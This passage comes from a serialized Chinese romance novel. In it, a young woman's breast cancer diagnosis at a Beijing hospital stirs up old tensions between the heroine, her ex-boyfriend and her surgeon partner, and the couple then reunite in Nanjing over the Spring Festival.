王林安抚地拍了拍她的手:“我?懂,你能这么想我?反而替你高兴。” 说?着王林扫了眼不远处的秦铮:“我?总觉得这位秦医生不是一般人,女孩子清醒一些是好事。你看巧巧,前车之鉴。” 说?起巧巧,谢一菲又开始犯愁,王林像是看出了她的想法:“巧巧除了有点恋爱脑,没别?的毛病,她应该知道,这事不怨你,甚至不怨秦医生。不过我?看这次过后,她那恋爱脑也?该醒了。至于武哥,他可能对你有些误会,解释清楚就行。他写的歌都是巧巧在唱,两人之间有种很特别?的默契吧,所以他替巧巧不值,为巧巧打抱不平,你应该也?能理?解。” 此时他们来时带的设备都已经装好了车,王林也?没再多说?,说?了句节后见?就上车离开了。 “这么依依不舍的怎么没跟着一起回去?” 谢一菲回过头?,看见?秦铮正望着王林他们离开的方?向。 今天阳光很好,他戴着一副黑色墨镜,更衬得他皮肤很白。 也?不知道一个大男人怎么会这么白。 谢一菲:“那我?现在打电话叫车调头?回来接我?。” “你叫一个试试。” 谢一菲笑,懒得跟他较真。 秦铮顿了顿,问?她:“你们认识很久了?” “对,在南京的时候就认识了。” “你和她说?过我?是你的初恋?” 秦铮不提谢一菲都忘了王林这话,这会儿听他这么说?还有点不好意思。 她没回答,他又问?:“所以你上次聚会说?的两个男朋友,有一个是我??” 他应该说?的是上次在KTV做游戏时,她回答的那个问?题。 “不然?呢?”话说?一半,她忽然?想到他当时听到答案后的反应,心里隐约冒出个猜测,“你不会以为我?没算你,所以生气了吧?” 这回换秦铮沉默了。 谢一菲没忍住笑了,笑得前仰后合:“我?真没想到,你还在意这个!” 秦铮一言不发地转身往房间走。 谢一菲追上他,与他面对面,想看看他的表情,是不是她想象中的恼羞成怒。 “就算把你漏掉了你也?不用生气吧?你交往过那么多女朋友,每一个都记得吗?” 秦铮面无?表情,透过墨镜扫她一眼:“对,我?记性好。” 要是以往听到这话,谢一菲心里肯定又不是滋味,但此情此景下,她不厚道的又笑了。 她本以为他拿他没办法,可忽然?间,他抬手掐住了她的下巴,让她的笑声戛然?而止,而下一秒,他遍俯身下来,堵住了她半张的唇。 他确实?是恼羞成怒了,可他表达愤怒的方?式和她预想的不太一样。 但这光天化日人来人往的,他是不是疯了?! 第50章 第 50 章 “我后悔了。” 国庆假期过后, 北京迅速转冷。11月中旬的一天,北京迎来了?今年的初雪。 这?天是秦铮的出诊日,他第二?次在诊室见?到刘希若。 秦铮记性算不上多好, 但对刘希若,他是有印象的。 他记得刘希若第一次来找他看病是今年春天,当时她的右乳有一个直径不足一厘米的结节,他建议她先做进一步的检查, 再来找他,可是她再没出现。 通过秦一鸣和谢一菲的事,他能?猜到原因是什么。 既然有意避开他, 那?今天又为什么挂了?他的号呢? 女孩把手里的报告推到了?秦铮面?前:“秦医生,不知道您还记不记得我, 我半年前找您看过病,这?是我最?近一次复查的B超报告。” 秦铮将B超描述看了?一遍, 不由得蹙起眉头, 那?个结节的分类已经是4b了?, 出报告的时间是前天。 “我记得半年前就让你去做个B超,当时做了?吗?” “没有。” 他以为她只是换了?医生,没想到她根本就没当回事。 “我当时就想着我这?么年轻应该不至于……但是这?段时间我发?现那?个肿块在变大, 才想起来您说的话。我现在是不是已经晚了??我看网上说,4b就是癌症了?。”她越说越懊悔,说到后面?几乎哽咽。 她的年纪和何婷婷相仿, 这?让何婷婷也?于心?不忍。 何婷婷:“这?个评级只代表一定的概率。” 刘希若抽了?抽鼻子说:“你们不用安慰我了? ,我查了?很?多资料, 知道这?意味着什么。秦医生,我真后悔当初没听您的话,所以我拿到结果第一时间来找您了?。” 这?种情况在秦铮这?里不少见?, 他只是替她感?到惋惜,如果结果真是不好的,那?这?半年的时间确实让她错失了?太多。 最?后,秦铮给出的建议是直接穿刺。 刘希若连连点头:“这?回我听您的。” 刘希若刚一离开,何婷婷就问秦铮:“老板,她那?个结节您怎么看?有翻盘的可能?吗?” 秦铮又调出她的B超报告看了?看,边界欠清晰,内部回声不均,有血流信号,而且肿物大小明显比她半年前来这?里时大很?多,怎么看都不太好。 刘希若说她自己疏忽了?,可他又何尝不是,至少半年前他给出的诊断是更倾向于良性的。他知道,理论上自己没有做错什么,但心?理上,他还是始终无法将一个年轻鲜活的生命直接和癌症关?联上. 不久后,刘希若的穿刺病理有了?结果,和秦铮预料的一样,是癌症。 最?要命的是,她太年轻了?。乳腺癌治愈的患者?中,年轻患者?的比例非常低,越是年轻,往往预后越差。 但不幸中的万幸是,虽然是浸润性癌,她的雌激素和人表皮生长因子受体都是阳性,这?种分型的治疗手段比较多,算是恶性里恶性程度不算高的分型。而且发?现的也?不算太晚,WHO2级,没有转移,一切都还有希望。 刘希若的手术被安排在几天之后。 秦铮之前一直没见?过刘希若的父母,但他没想到,就连住院做手术这?种大事,她的父母也?没有出现,陪在她身边的竟然是秦一鸣。 秦铮问何婷婷:“我记得她是北京本地的吧,怎么不是她父母陪着来的?” 何婷婷八卦兮兮地说:“我听说她家关?系比较复杂,父母都各自成家了?,她是奶奶带大的,奶奶年纪大了?,可能?还不知道这?事呢。还好她那?男朋友还不错。” 秦铮闻言只觉得讽刺。 何婷婷:“老板您怎么知道她是北京人?” 秦一鸣他妈选儿媳妇的条件第一条就得是本地人,她绝不会?允许儿子接二?连三地跟她对着干。 秦铮:“听她提过。” 何婷婷点点头:“哦对了?,那?女生好像是谢老师他们学校的。” 秦铮忽然停下脚步:“她今天来了?吗?” 何婷婷没想到自己老板反应这?么大:“谁?” 秦铮:“谢老师。” “今天还没看到。” 他点点头:“见?到她让她找我一下。” …… 秦一鸣刚走出病房手机就响了?,看到来电人名字,他犹豫了?一下才接通。 他母亲吴丽华的声音立刻从听筒里传了?出来,隔得老远都能?听出她老人家的愤怒。 “你去医院干什么去了?!人家有自己的爹妈,用得着你去陪着?" 这?层楼的中庭处有个饮料的自动贩卖机,他本来是出来买水的,这?会?儿也?忘了?要干什么了?。 “她家的情况您也?了?解,再说今天就是办个住院手续,她叫我陪她来,我没理由拒绝。” “要找什么理由啊?正经夫妻还大难临头各自飞呢,别说你们什么也?不是了?!她现在可是确诊了?癌症!要花多少钱先不说,那?是要死人的啊!你可别听医生的鬼话,说什么还有治愈的可能?,得了?癌就等于被判了死刑了!她要是真的爱你,她就该果断跟你分手,免得拖累你!” 秦一鸣和刘希若的感?情本来就没多深,当初他决定和她在一起也是因为她的威逼□□,和谢一菲分手后更是每天都在后悔。眼下出了这样的变故,他和刘希若都知道这?段关?系长久不了?了?。 可是听他妈这?么说,他又觉得不太舒服。 “她现在刚查出癌症,您让我这?时候就撒手不管,我实在是做不出来。” 而且还有一个原因,万一最?终和刘希若撕破了?脸,他不确定她能?做出什么事。 “儿子啊,你就是太善良了?,对谁都狠不下心?来。以往我都依着你,但这?次你得听妈的,赶紧和她断了?,回头正好可以借这?个机会?跟学校里说是她追着你不放,你考虑到她的病才对她多有照顾……” 之前秦一鸣只想着等刘希若状态稳定再找个理由提出分手,到时候她应该也?毕业了?,一切都可以冷处理。而且刘希若虽然不比谢一菲通情达理,但也?还算好沟通,应该能?理解他,那?他们也?算好聚好散了?。 不过吴丽华的话提醒了?他,眼下这?事或许是个不再受制于人的好机会?。 “好,我知道了?。” 吴丽华叹了?口?气感?慨道:“你说咱娘俩命怎么这?么苦?你爸走得突然,你的感?情又一直不顺,这?个小刘我本来也?不喜欢她,就是看你喜欢,她刚好又是个本地的,虽然家里关?系复杂了?点,但好歹她爸给她留了?套房,总归比起那?个要啥没啥老家还有个弟弟要帮扶的小南蛮子强多了?。但谁知道她运气这?么差,年纪轻轻就得癌,还好你们还没结婚……” 突然听吴丽华提到谢一菲,秦一鸣又烦躁了?起来。 正在这?时,他忽然注意到前面?来来往往的人中有一个熟悉的身影,背着一个大号的托特包,里面?隐约看得到笔记本的一角,正是他刚刚才想过的人。 早就听说谢一菲和这?家医院有什么合作项目,没想到今天还真让他给遇上了?。 他连忙对吴丽华说:“我这?还有事,先挂了?。”. 谢一菲今天本来不打算来医院的,但何婷婷说秦铮有事找她,她这?才放下手头工作赶过来。一出电梯,她意外看到一个本没有理由出现在这?里的人。 她不知道秦一鸣来医院干什么,但时至今日,她和他之间,已经没什么好说的了?。所以在他走过来之前,她就视若无睹地朝着另一个方向走去。 拐了?个弯回到病区,她直接去找秦铮,却被告知秦铮去其他科室会?诊了?。 回到办公?室,周遭人正议论着秦铮今天收治的患者?。听说只有二?十出头,还很?漂亮,就已经确诊了?癌症。众人言谈间都是惋惜。 起初谢一菲也?只是跟着众人一起惋惜,并没有往别的地方想,直到她在病房里见?到了?刘希若。看到她身上的病号服,她明白了?,原来她就是大家惋惜的那?个患者?,也?难怪秦一鸣会?出现在这?里。 虽然她们此前只有一面?之缘,但是谢一菲很?难不对这?个女孩留有深刻的印象。 谢一菲记忆中的她漂亮明艳、年轻无畏,而此时的她,虽然还是漂亮的,但脸色苍白,神态中多了?几分憔悴,眼中也?没了?见?到昔日情敌的锐气。 其实和秦一鸣分手这?半年多里,谢一菲偶尔还是能?想起那?晚在秦一鸣家第一次见?到刘希若的情形。每一次想起,每一次都是厌恶的。她以为这?种厌恶的情绪会?连同那?一晚看到的画面?一起被封存在她的记忆里,不会?改变。可突然有一天,天平一端的砝码换成了?“生死”,那?无论另一端是怎么样的厌恶,都很?难再轻易地撬动天平。而当初的那?种厌恶,也?只能?化成一声无力的叹息——那?是一个年轻的、鲜活的生命。 女孩在短暂的错愕过后,仓惶移开了?视线。 谢一菲也?只当做不认识她,完成工作后离开了?病房。 她离开时,恰巧遇到秦一鸣拎着热水壶进病房,见?到她他喃喃叫了?声“一菲”,谢一菲只当没听见?快步回了?自己办公?室。 不远处正交代工作的张涛停下来问身边的护士:“那?个谢一菲和患者?家属什么关?系?” 护士也?不知情,只说:“患者?是B大的,可能?和谢老师认识吧。”. 谢一菲等到六点 没等到秦铮,于是决定先下班。 在冬至到来前,天一天比一天黑的早,这?个时间夜幕已经降临很?久了?。从住院部出去,要经过一条小路,路两旁是医院的地面?停车场。此时该下班的人早已下班,来看病的人也?都早已离开,停车场几乎空了?大半。 冷风丝丝缕缕地往领口?里钻,谢一菲紧了?紧衣领,顺便拿出手机想看看公?交车的到站时间。就在这?时,旁边的车后突然闪出一个人挡在了?她的面?前。 谢一菲吓了?一跳,那?人也?被她的反应吓了?一跳。 他连忙说:“是我是我!” 是秦一鸣。 他说:“我等你很?久了?。” 谢一菲冷冷看着他:“有事吗?” 秦一鸣:“外面?太冷了?,要不我们去车上说?” 谢一菲:“有什么事就在这?里说吧。” 秦一鸣似乎是苦笑了?一下:“那?我长话短说。刘希若的事你应该已经知道了?吧?” 谢一菲不否认,秦一鸣又说:“我原本也?希望她能?换家医院看病,但是她比较信任我弟,我也?没办法。” 听到他提秦铮,谢一菲微微一怔。那?秦铮知不知道他们之间这?些?事? 她对秦一鸣说:“你找我就是要说这?个?你放心?,你们来看病,我来工作,完全可以互不干扰。” 秦一鸣:“我不是要说这?个,我就是……想看看你,问问你最?近过得好不好……” 听他还关?心?她,她非但没有丝毫的感?动,反而觉得他很?可笑。 谢一菲不耐烦地打断他:“你该记挂的人不是我,我过得好不好也?跟你再没有关?系了?。我还有事,先走了?。” 说完谢一菲就打算离开,却被秦一鸣一把拉住。 “我后悔了?。”他忽然说,“真的,我后悔了?……有些?话压在我心?里很?久了?,其实我们分手之后我没有一天感?觉到快乐,我以为新的感?情很?快就能?冲淡和你分开带给我的失落,但是没有。” 他越说越激动:“我们最?初在一起时有过的甜蜜心?动,我跟她都没有!我本来想等她病情稳定后和她说清楚再来找你。但是见?到你后,我的所有计划都打乱了?……” 谢一菲在一瞬的惊讶过后只觉得讽刺。 “你不觉得你现在说这?些?很?可笑吗?你后悔了?,我却觉得庆幸,因为我们并不合适。所以不管你有什么计划,我和你都已经彻彻底底的结束了?。如果你还是个男人,还希望你女朋友能?安心?在这?里看病,建议你以后不要再来找我了?。” 谢一菲试图甩开秦一鸣的手,但男人的手像铁钳一样纹丝不动。 秦一鸣似哭似笑:“我这?么痛苦,你竟然觉得庆幸?为什么?因为秦铮吗?” 又是这?样!就是有这?么一种人,在他们看来自己的不如意都是别人造成的。 谢一菲不愿多说,只催他放手。 秦一鸣充耳不闻:“我们在一起两年了?,你仔细想想,我们以前不是挺好的吗?能?不能?再给我一次机会?,我不介意你和我弟之间发?生过什么……” 眼前的男人已经不再是谢一菲认识的那?个秦一鸣了?,他的不可理喻,他的癫狂,让她觉得陌生和害怕。 而就在这?时,一个熟悉的声音从身后传来:“不好意思,我介意。” 看到秦铮的那?一刻,谢一菲的心?立刻就踏实了?。 因为秦铮的出现,秦一鸣终于不再那?么激动了?,但他脸上的神色更加阴郁。 谢一菲真怕他们一言不合就打起来,好在秦铮还算冷静。 他扫了?一眼秦一鸣握着着她的那?只手说:“我刚出来时刘希若正在找你。” 像是为了?证实秦铮的话,秦一鸣的手机也?在这?个时候响了?起来。 他怔忡了?一下,然后整个人好像泄了?气的气球,终于松了?谢一菲去拿手机。 谢一菲连忙跟他拉开距离,与此同时,刚才那?只被秦一鸣抓着的手被另一只大手紧紧包裹住。带着薄茧的拇指轻轻摩挲她的手背,像是在安抚。 她抬头看着那?手的主人,他也?看向她,好似在询问她有没有事。 她又想起自己刚才的话,她庆幸。可除了?庆幸离开了?一个不合适的人,是否也?庆幸又遇到了?他? 秦一鸣的手机铃声一直没断,谢一菲这?才注意到他根本没有接。他只是盯着屏幕看了?一会?儿,不知道在想什么。再抬起头时眼眶湿润,就像他们分手的那?一晚。 他看了?眼他们交握在一起的手,笑了?笑,像是自嘲又像是在嘲讽别人。 他看着谢一菲说:“还说不是因为他?!” 秦铮上前一步,那?是一个把谢一菲护在身后的姿态:“差不多行了?,没谁对不住你。” 秦一鸣咬牙切齿,显然不认同秦铮这?个说法。末了?他点点头,冷笑着说:“今天的事,我会?一直记着的。” 打发?走了?秦一鸣,谢一菲长长呼出一口?气。 秦铮抬起她的手看:“没事吧?” 谢一菲摇摇头,抽回手。又看了?眼四周,还好没什么人。 见?她做贼般的模样,秦铮眼神暗了?暗。他按下车锁,不远处一辆黑色SUV的车灯亮了?。 “上车说吧。” 他发?动了?车子,却没急着开出停车场。暖风开着,车上的温度渐渐升高,身上的寒意被驱散。 谢一菲:“你什么时候回来的?” “几分钟以前,他们说你刚走。” “婷婷说你找我,什么事?” 秦铮:“没什么,就是想提醒你刘希若住进来了?。她的情况应该不会?加入试验组,你们也?不会?有什么接触,但是她确实要在这?里住一段时间。” 谢一菲看向他:“你在担心?什么?” 秦铮:“你觉得我在担心?什么?” 谢一菲莫名有点失望:“你放心?,公?和私我分得清。” 其实比起刘希若,她更厌恶秦一鸣。但是谢一菲也?不会?觉得她是无辜的,曾经的伤害摆在那?,她没办法像面?对其他病人那?样对待她,当然了?,落井下石她也?不会?。 秦铮:“我不担心?这?个,我知道你分得清。” “那?你担心?什么?” “担心?你会?被一些?不相干的人影响心?情。” 原来他在担心?她。 50-60 第51章 第 51 章 “我也希望我姐嫁回南京…… 秦铮说:“今年四月份的时候, 刘希若第?一次挂我的号,那时候我还不知道她和秦一鸣的关系。那天我无意间听?到她和一位‘秦老?师’打电话,就记住了她, 再后来就看到他?们在?一起了。” “所以你早就知道了,那为什么不直接告诉我?” 这个问题盘亘在?她心?里很久了。 他?既然希望他?和秦一鸣分手,那把这件事告诉她,不是?更直接吗?是?觉得告状这种事很没格调, 还是?怕她承受不住打击? “我暗示过你。” “为什么不直白一点,不怕我不懂你的暗示吗?” 秦铮蹙眉:“这事过去这么久了,你还是?很在?意吗?” 她在?意吗?她在?意秦一鸣出?轨, 在?意自己的感情付诸东流,但是?对秦铮知道他?出?轨却没有告诉她这件事她并没有那么在?意。她在?意的是?她和秦铮为什么会在?一起。 她没有回答他?的问题, 而是?问他?:“那你在?那时候提出?那个提议,是?同情我吗?还是?讨厌秦一鸣, 然后发现我是?个很好的同盟?” “所以你在?意的是?这个问题?” 谢一菲沉默地等着他?的答案。 “一定要有这么复杂的原因吗?”他?看着她, “我只是?正好趁虚而入罢了。” …… 那天之后, 谢一菲一直小心?翼翼地避着刘希若和秦一鸣,好在?后来来照顾刘希若的换成了她的一位表姐,但秦一鸣偶尔也会来探病, 可他?只要来就会找机会和谢一菲说话,内容和那晚大?同小异。无论谢一菲怎么冷言冷语地拒绝,他?就像陷到了一个 没有出?口的怪圈里, 什么也听?不进去。 病房是?个人多眼杂的地方,不多久, 她和秦一鸣、刘希若的关系就不胫而走了。 谢一菲时常能够察觉到或好奇探究,或冷眼旁观的眼神。 “要我说谢老?师真?不是?一般人,能忍常人不能忍, 这时候还能对‘小三’客客气气的,脾气是?真?好。” 说话的是?李灿,乍一听?像是?在?夸她,但阴阳怪气的态度更像是?在?说她窝囊。 另一位男医生说:“看样?子他?们分手挺久了,而且那女孩还生病了,这情况难道还要喊打喊杀吗?” 旁边有人跟着附和:“是?啊,而且我看谢老?师也不是?那种会喊打喊杀的人。” 李灿:“确实也没必要闹得那么不体面,我看那男的每次说是?来探病,其?实都是?来找谢老?师的吧,想藕断丝连的意思太明显了,只要谢老?师一心?软,两人就离破镜重圆不远了,到时候还有那姑娘什么事?!” 正要去打水的谢一菲听?到水房里的人你一言我一语,暂时还没有结束的意思,只好先离开。一转身,就看到几米外的人。 阳光从她身后的窗子照进来,显得她身上的病号服那么宽松。 她胸口微微起伏,像是?在?压抑着情绪。水房里那几个人的说话声?音不小,看来她也听?到了。 谢一菲没什么好说的,径自从她身边走过,但这一次,刘希若却没像以往一样?保持沉默,而是?开口叫住了她。 “谢老?师!” 谢一菲停下脚步,犹豫了一下才转身面对她:“有事?” 刘希若似乎是?鼓足了勇气:“我……能跟你聊聊吗?不会耽误你很久,就几分钟。” 她的态度很客气,让谢一菲很难拒绝。 病区哪哪都是?人,也就只有楼梯间还算安静。 谢一菲不想浪费时间,开门?见山地说:“你如果想问我他?们说的是?不是?真?的,我可以回答你,不会有什么破镜重圆。” “我知道。”她笑?了,只不过笑?着笑?着眼睛就湿润了。 这让谢一菲刚硬起来的心?肠又软了。她错开视线,刻意不去看她。 刘希若:“我知道我不该介入你们,但我就是?喜欢他?,从一入学就喜欢他?了。他?绅士、儒雅,说话声?音好听?,我们班女生都爱上他?的课。” 听?了这话,谢一菲起初是?震惊的,她甚至怀疑她们说的不是?一个人。可她很快又想到她刚认识秦一鸣时,他?似乎就是?刘希若说的那样?。 刘希若继续道:“后来我渐渐不满足于在?讲台下仰望他?,我开始给他?发微信,先是?借着答疑名头,后来就开始闲聊,他?似乎察觉到了,就不怎么理我了。但这时候我已经陷得很深了,上学期我有个机会陪他?一起出?差,那天晚上我表白了。” 谢一菲大概猜到她说的是哪天了,她对秦一鸣表白的那一天,应该就是?谢一菲做手术的那天。 刘希若:“但他很严肃地拒绝了我。” 这个剧情走向倒是让谢一菲很意外。 刘希若苦笑?:“我不明白啊,我年轻漂亮,又那么爱他?,除了是?他?的学生,我有什么不好的呢?但我没有灰心?,都说女追男隔成纱,只要我坚持,他?早晚是?我的。后来赶上他?工作不顺利,最需要人陪的时候他?身边没人,所以他?终于想到了我。” 谢一菲:“听?起来,你俩似乎都没有错。” 刘希若深吸一口气:“我以前确实是?这么想的。但后来又经历了很多事,让我渐渐看清了这段感情。一开始因为你的存在?,我是?见不得光的,后来你们终于分手了,我以为我和他?终于可以好好在?一起了,但这时候我发现他?并不快乐。他?总是?嫌我这不懂那不懂,电脑一个隐藏文?件夹里还藏着你俩以前的照片。我那个时候才意识到他?可能根本就没爱过我,只是?因为我们上过床,他?怕我闹事才肯委曲求全。我表姐说的没错,男人在?面对诱惑时往往很难把持,但对付出?感情却很吝啬。” 刘希若表姐的这句话谢一菲很认同。可是?秦一鸣对她就付出?了很多感情吗?也未必。 谢一菲:“所以你到底想说什么?” “我也不知道,我就是?发现还没有和你说过话,想来看看你是?什么样?的人。” 她说话时眼神暗淡无光,这让谢一菲想到了她在?这里见到的许多人。 刘希若说:“我现在?意识到错了,可是?一切都晚了。听?说你也长过一个结节,但你的是?良性,我的却是?恶性的,这大?概就是?报应吧。” 看着她落寞的神情,谢一菲内心?里五味杂陈。如果她不这么年轻,她或许会发现这个世界上确实有因果,但是?做了坏事的人未必会有报应,她生了这样?的病也只是?因为她格外不幸而已,与她是?不是?介入了别人的感情并没有关系。 谢一菲轻轻叹气:“先治病吧,有些东西其?实远没有你想的那么重要。” 比如她所谓的“爱情”。 …… 刘希若虽然被确诊了癌症,但是?分型不算很严重,所以住院时间并不长。随着她的出?院,关于谢一菲和她那位出?轨前男友的八卦也就没了传播动力,乳腺外科的病区重归宁静。 但是?谢一菲却没工夫歇口气,她从入冬以后就忙得脚不沾地,学校要期末考了,项目进度要求也很紧张。谢一菲连加了一个多月的班才勉强在?春节前把这一学年的工作都完成。然后和秦铮在?家厮磨了两天,才在?除夕的前两天回了南京。 大?部分孩子都盼着过年,但谢一菲从小就不喜欢过年。因为每当过年她都要打起精神去应付她妈的死要面子,二?婶的不可一世和她奶奶的唠唠叨叨。 而且她家地方本来就小,过年时还是?两家人在?一起,她连个躲清静的地方都没有。 所幸今年二?叔家换了大?房子,守岁的地点就不再是?她们家了。 但是?主人家变了,最忙碌的却依旧是?她妈刘秀梅。二?婶一直说她自己不会做饭,她妈为了在?一家人面前显示自己能干贤惠,又包揽了全家的年夜饭。 热热闹闹地吃完饭,男人们和小辈们自然不用洗碗,都围着奶奶在?客厅里看春晚。可二?婶也只是?把盘子收进厨房就不再管了,洗碗的还是?刘秀梅。 很多时候,谢一菲觉得她妈是?不可理喻的,但是?看着她讨好奶奶和二?叔一家的样?子,她又觉得心?酸。 以前是?她家穷,爸妈在?亲戚中不由自主地觉得低人一等。可是?现在?她工作了,家里条件改善了很多,她不知道他?们为什么还是?这样?。 谢一菲走进厨房,想帮她妈干点活,却被刘秀梅撵了出?来。 “你去和你二?婶聊聊天,她上次跟我说她们单位有几个毕业几年还没结婚的研究生,挺不错的,我让她给你介绍介绍,好长时间了都没下文?。” 见她和秦一鸣复合无望,她妈和她奶奶着实生了好大?的气,但气过后她妈还是?不打算放弃她。 “我在?北京,人家在?南京,再不错也不合适。” “你死心?眼了吧,南京有什么不好?要是?真?找到个好男孩子,我不说你你自己也会主动回来的。你二?婶那单位,收入虽然不高,但好歹稳定。” 谢东路过厨房,听?到母女俩的对话,探头进来说:“我也希望我姐嫁回南京,万一未来姐夫欺负她,有我撑腰。” 谢一菲不想在?今天这样?的日子惹她妈不高兴,但她也不想跟二?婶聊这个话题,还好堂妹谢芳找她去屋里聊天,让她成功避开了长辈们的唠叨。但小姑娘耐不住寂寞,姐妹俩在?房间聊了一会儿,谢芳就被外面打双升的热闹吸引过去了。 房间里只剩下她一个人。她静静坐在?书桌前,听?着一门?之外家人的说笑?声?,好像很近,又好像很远。 正在?这时,她口袋里的手机忽然响了。 她有点意外,秦铮会在?这个时候给她电话,还是?视频电话。 谢一菲迅 速看了眼玻璃窗上自己的影子,确定形象还可以,这才接通了视频邀请。 “我以为这时候你该睡了。” 平时的十一点多谢一菲确实已经睡了,但除夕不一样?。 “家里人要守岁,所以我也没睡。你呢?” “刚吃完饭,抽支烟。” 他?穿着件深灰色羊绒衫,看着很温暖,背景像是?阳台,阳台上挂了灯笼和彩灯,一看就不是?他?家。 第52章 第 52 章 “直接来求我,效果可能…… 谢一菲问:“主任和你师弟他们呢?” 听秦铮说, 他们当医生的每年过年都有无法离开北京的,他们师门?就渐渐形成了一个传统,不回老家的就会到?周意芝家过年。 秦铮说:“刚把麻将桌支起?来, 忙着呢。” 谢一菲笑?了笑?:“那你怎么不去?” “没意思。” 忽然间她好像听到?了几声猫叫。 “周主任家养猫吗?” “对,上次你来的时候猫正?好生病送去医院了。” 他话音刚落,镜头忽然晃了晃,然后她就看?到?一只可爱的三花猫正?抱着他的脚不撒手。 “它好像很喜欢你。” 他有点嫌弃:“莫名其妙。” 似乎是因为?听到?了陌生的声音, 那只猫仰起?脖子努力寻找着声源,那呆萌的样子把谢一菲逗笑?了。 “它好可爱,叫什么名字?” “哈哈。” “什么?” 秦铮说:“我说它叫‘哈哈’。” 谢一菲恍然大悟后笑?了:“没想到?周主任这么有意思。” “这就叫有意思了?”秦铮忽然问, “南京过年有意思吗?” 他对南京应该很熟悉,怎么还问她? 不过这话题转变得也太快了。 她想了想说:“还行吧, 也没什么特别的。” “大家都去什么地方玩?” 谢一菲想了想:“可以去梅花山看?梅花,但今年太冷了, 没什么人去。也可以去夫子庙看?灯, 但本地人去的少, 因为?都看?过了。” “那本地人都去哪?” “太冷了,待在家里?吹空调吧……哦对了,大年初一大家会早早去鸡鸣寺排队, 等着上头香。” “那就算了,赶不上了。” “什么赶不上?” 心中冒出一个模糊的猜测,但又不敢太过期待, 怕期待落空。 片刻后,她收到?了一张他的手机截图, 显示着他订了一张大年初一到?南京的机票。 还真被她猜中了。 她不确定地问:“你来走亲戚吗?” “我外婆去世后,我在南京就没亲戚了,我在南京最熟的人就是你了。” 谢一菲笑?:“那你要从南京回盐城吗?” “初三我要值班, 所以这次只去南京。” 之前听说他在周意芝家过除夕她就觉得奇怪,没想到?他都到?南京了却依旧不回盐城,她总觉得这里?有些隐情,但既然是他不愿意说的隐情,那她也就不多问了。 可无论如何,明天是大年初一,是举家欢聚的日?子,他却要跨越一千多公里?专程来找她,她是高兴的。 “怎么,出不来吗?” “应该可以。” “那明天见。” …… 刚挂了电话,秦铮拿了大衣正?打算去找周意芝告别,周意芝像是早听到?了声音,从棋牌室出来送他。 “明天我就不过来了。” 周意芝:“去找谢老师?” 秦铮笑?笑?不说话。 周意芝心下了然,犹豫了一下问:“这回认真的?” 秦铮收住笑?容:“您有什么话就说吧。” “谢老师和别人不一样,她是试验的负责人之一,你们有合作关系,你要只是一时兴起?,那就收收心吧,免得被别人传些不好听的闲话……” “我在您眼里?就是这样的人?”他直接打断周意芝。 周意芝笑?得意味深长:“那看?来这回是认真的。” “认真不认真的都不能影响您的声誉,我是您的下级也是您的学?生,科室里?的事也都是您说了算的。” “嘶,我还替你着想呢,你倒早想着怎么甩锅给我了。” “您清者自清的怕什么?” “行了,你话都说这份上了,那我就表个态,谢老师人不错,配你绰绰有余了,只要你是认真的,我肯定支持。” 秦铮:“今天送年货过来的那个李总也不错,要不您也凑合凑合,退休后您跳广场舞都有伴了。” 周意芝有点不自在;“我的事不用你操心,你还是操心操心你自己?吧。” 秦铮:“我不需要人陪我跳广场舞,您这表态也表得早了点。” 周意芝没好气:“算了,这事我是管不了你。但科室里?的事你得再上点心。你也知道,再过几年我就该退休了,这几年正?好磨练磨练你,别的我没有不放心的,主要是你那脾气……” 这话周意芝不是第一次说了。 秦铮边换鞋边说:“都什么年代了还搞世袭制?” “别不知好歹啊,难不成你想让张涛领导你?就你这臭脾气,用不了两天就被人给挤走了。” 眼见着周意芝似乎真的动?气了,秦铮笑?着说:“好了,您这不是还没退休吗?那就再多磨练我几年吧。” …… 大年初一照理说还是要在二叔家过,谢一菲借口不舒服就说不去了,大约是熬了大半夜她确实有点憔悴,刘秀梅也没起?疑,只说让她好好休息好好吃饭就离开了。 家里?人一走,她立刻开始洗漱打扮,然后直奔机场。 这样的日?子,还在路上的旅人并?不多,所以很快,谢一菲就在出站的人群中看到了秦铮。 他穿着一件最简单的黑色长款羽绒服,但或许是身高过分优越的原因,让他在人群中总是很打眼。 明明只有一周没见而已,但却让谢一菲有一种久违的感觉。 他们像所有久别重逢的情侣那样在人来人往的机场久久的拥抱。 他身上仿佛还有北方冬日?特有的凌冽味道,而更多的是独属于他的那种草木香。这让她澎湃的心跳渐渐平复。 秦铮订的酒店就在玄武湖旁边,房间也是号称能看?到?玄武湖的湖景房。 但此时的两人谁也没心思看?风景。 他们像在沙漠中走了很久的旅人,对方就是他们的绿洲。 南京的冬天总是湿冷的,但他的身体?却是干燥滚烫的,她像滕蔓一样死死缠绕住他,贪婪地从他身上吸取热量…… 时间仿佛只过了一瞬,又仿佛过了很久…… 谢一菲拉开窗帘,发?现窗外竟飘起?了雪花。 南京难得下这么大的雪,扯絮一样,可落在地上很快就化了。 所以谢一菲不喜欢南京的雪,每当这时候总是觉得这座城市脏脏的。 他从身后走来抱住她,两人一起?看?着窗外纷纷扬扬的大雪和雪中的玄武湖。 “我已经?不记得我上一次回南京是什么时候的事了。” “出差也不会来这里?吗?” “上一次就是出差,有个学?术会议在紫金山举办,不过也是匆匆来又匆匆走。” “再上一次呢?”她问。 “再上一次?”他想了好一会儿才说,“再上一次是回来给我外婆扫墓,那之前就是我外婆去世的时候了。” 他们当年分手没多久,楚奶奶的身体?忽然就不行了。有一天晚上,她听到?小区里?有救护车的声音,第二天就听说接走的是楚奶奶。在谢一菲的印象中,老人家的身体?一向不错,所以那一次,她也以为?她能化险为?夷。可是两天后,小区里?来了一辆面包车和几个陌生人,开始收拾老人的东西。她这才知道楚奶奶没挺过去。 这个消息在街坊邻里?之间传了一段时间,那时候人人唏嘘世事无常,连带着谢一菲的奶奶也跟着兔死狐悲了好长时间。 当时的谢一菲也难过,一方面难过那个慈祥的老人不在了,另一方难过秦铮再没有出现在这里?的理由了。 事实也确实如此,在那之后秦铮几乎没有回过南京,更不曾找过她。 其实谢一菲也理解他。 她也只是在他们刚分开的时候去过一趟盐城,后来即便她到?了北京,猜他或许也在这座城市,她也没有想过要找他。原因很简单,他们之间没有共同的朋友,找寻起?来并?不容易。而且年少时一段算不上多刻骨铭心的感情, 在漫漫人生路上显得太过不起?眼。 所以,对于已经?失去的,没必要挂念,更没必要找寻。 或许她于他而言也是如此。 只是世事都有意外,有太多他们预料不到?的变数——不曾想,有朝一日?,在这茫茫人海中,他们竟然还能再次相遇。 “那这次什么时候走?” “明天的航班。” “这么快?”她有点意外。 “嗯,初三轮我值班。” 他难得回来一次,都在酒店里?消磨时间就太可惜了。 “想不想出去走走?” “去哪?” 